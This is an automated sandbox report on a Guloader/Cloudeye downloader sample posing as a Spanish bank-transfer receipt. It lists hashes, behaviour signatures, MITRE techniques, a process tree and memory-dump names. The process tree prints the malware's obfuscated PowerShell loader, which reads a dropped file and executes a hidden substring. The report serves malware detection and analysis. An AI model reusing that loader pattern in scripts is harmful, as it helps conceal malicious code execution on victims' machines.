Analysis
- max time kernel
150s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/05/2026, 17:22
General
- Target Transferencia_recibo-_18108714.exe
- Size 918KB
- Sample260520-vx2chaex9n
- SHA256 0ef58df8a376367a250f7317fa787bb9b189d7f8f9cbcbf292076f4240aced22
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Loads dropped DLL 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Transferencia_recibo-_18108714.exe"C:\Users\Admin\AppData\Local\Temp\Transferencia_recibo-_18108714.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Evolutionernes=GC -raw 'C:\Users\Admin\AppData\Local\Pertinency71\Shina\endkkerne.Tra';$silico=$Evolutionernes.SubString(54060,3);.$silico($Evolutionernes)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Nichers.exe"C:\Users\Admin\AppData\Local\Temp\Nichers.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
endkkerne.Tra
truckway.Fol
Nichers.exe
__PSScriptPolicyTest_q3oddeuz.nm3.ps1
memory/1072-49-0x0000000006FF0000-0x0000000006FFA000-memory.dmp
memory/1072-47-0x0000000006EC0000-0x0000000006EDE000-memory.dmp
memory/1072-17-0x00000000053C0000-0x0000000005426000-memory.dmp
memory/1072-16-0x0000000004AD0000-0x0000000004AF2000-memory.dmp
memory/1072-26-0x00000000054A0000-0x00000000057F4000-memory.dmp
memory/1072-27-0x0000000005A70000-0x0000000005A8E000-memory.dmp
memory/1072-28-0x0000000005B20000-0x0000000005B6C000-memory.dmp
memory/1072-29-0x0000000005FE0000-0x0000000006076000-memory.dmp
memory/1072-30-0x0000000005F90000-0x0000000005FAA000-memory.dmp
memory/1072-31-0x0000000006A70000-0x0000000006A92000-memory.dmp
memory/1072-32-0x00000000072D0000-0x0000000007874000-memory.dmp
memory/1072-15-0x0000000004D90000-0x00000000053B8000-memory.dmp
memory/1072-34-0x0000000007F00000-0x000000000857A000-memory.dmp
memory/1072-51-0x0000000007190000-0x000000000719E000-memory.dmp
memory/1072-36-0x0000000006E80000-0x0000000006EB2000-memory.dmp
memory/1072-53-0x0000000007200000-0x000000000721A000-memory.dmp
memory/1072-48-0x0000000006EF0000-0x0000000006F93000-memory.dmp
memory/1072-40-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-38-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-37-0x000000006FF70000-0x000000006FFBC000-memory.dmp
memory/1072-12-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-50-0x0000000007150000-0x0000000007161000-memory.dmp
memory/1072-18-0x0000000005430000-0x0000000005496000-memory.dmp
memory/1072-52-0x00000000071A0000-0x00000000071B4000-memory.dmp
memory/1072-35-0x000000007F390000-0x000000007F3A0000-memory.dmp
memory/1072-54-0x00000000071D0000-0x00000000071D8000-memory.dmp
memory/1072-56-0x0000000007240000-0x0000000007264000-memory.dmp
memory/1072-55-0x0000000007200000-0x000000000722A000-memory.dmp
memory/1072-57-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-59-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-14-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-62-0x00000000078E0000-0x00000000078E2000-memory.dmp
memory/1072-61-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-64-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-63-0x0000000008580000-0x000000000A245000-memory.dmp
memory/1072-65-0x0000000008580000-0x000000000A245000-memory.dmp
memory/1072-66-0x000000007F390000-0x000000007F3A0000-memory.dmp
memory/1072-67-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-68-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-69-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-70-0x0000000004750000-0x0000000004760000-memory.dmp
memory/1072-71-0x00000000078E0000-0x00000000078E2000-memory.dmp
memory/1072-13-0x0000000002140000-0x0000000002176000-memory.dmp
memory/1072-75-0x0000000008580000-0x000000000A245000-memory.dmp
memory/2500-76-0x0000000000450000-0x00000000016A4000-memory.dmp